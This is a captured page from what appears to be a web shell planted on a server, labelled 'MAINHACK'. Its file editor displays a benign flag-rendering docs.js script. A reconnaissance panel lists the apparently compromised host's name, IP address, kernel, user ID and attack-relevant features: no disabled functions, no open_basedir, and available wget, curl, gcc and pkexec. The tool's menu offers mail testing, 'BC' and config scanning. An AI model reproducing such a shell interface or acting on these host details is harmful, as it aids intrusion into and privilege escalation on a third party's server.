[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: docs.js
const loadJSON = (path, callback) => { var xobj = new XMLHttpRequest(); xobj.overrideMimeType('application/json'); xobj.open('GET', path, true); xobj.onreadystatechange = function () { if (xobj.readyState == 4 && xobj.status == '200') { callback(xobj.responseText); } }; xobj.send(null); }; const addFlag = (country, rowDiv) => { const colDiv = document.createElement('div'); colDiv.classList.add('col-xl-2'); colDiv.classList.add('col-lg-3'); colDiv.classList.add('col-md-4'); colDiv.classList.add('col-6'); colDiv.id = country.code; const flagDiv = document.createElement('div'); flagDiv.classList.add('flag'); // Code const codeSpan = document.createElement('span'); codeSpan.classList.add('flag-code'); const code = document.createTextNode(country.code); codeSpan.appendChild(code); //Country const countryDiv = document.createElement('div'); countryDiv.classList.add('flag-country'); countryDiv.classList.add('no-wrap'); countryDiv.title = country.name; const countrySpan = document.createElement('span'); const countryName = document.createTextNode(country.name); countrySpan.appendChild(countryName) countryDiv.appendChild(codeSpan); countryDiv.appendChild(countrySpan); const flagImg = document.createElement('img'); flagImg.classList.add('flag-img'); flagImg.src = country.flag_4x3; flagImg.alt = `Flag of ${country.name}`; colDiv.appendChild(flagDiv); flagDiv.appendChild(countryDiv); flagDiv.appendChild(flagImg); rowDiv.appendChild(colDiv); }; window.onload = function () { const isoFlagsRow = document.getElementById('iso-flags'); const nonIsoFlagsRow = document.getElementById('non-iso-flags'); loadJSON('country.json', response => { const countries = JSON.parse(response); for (country of countries) { console.log(country); if (country.iso) { addFlag(country, isoFlagsRow); } else { addFlag(country, nonIsoFlagsRow); } } }); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002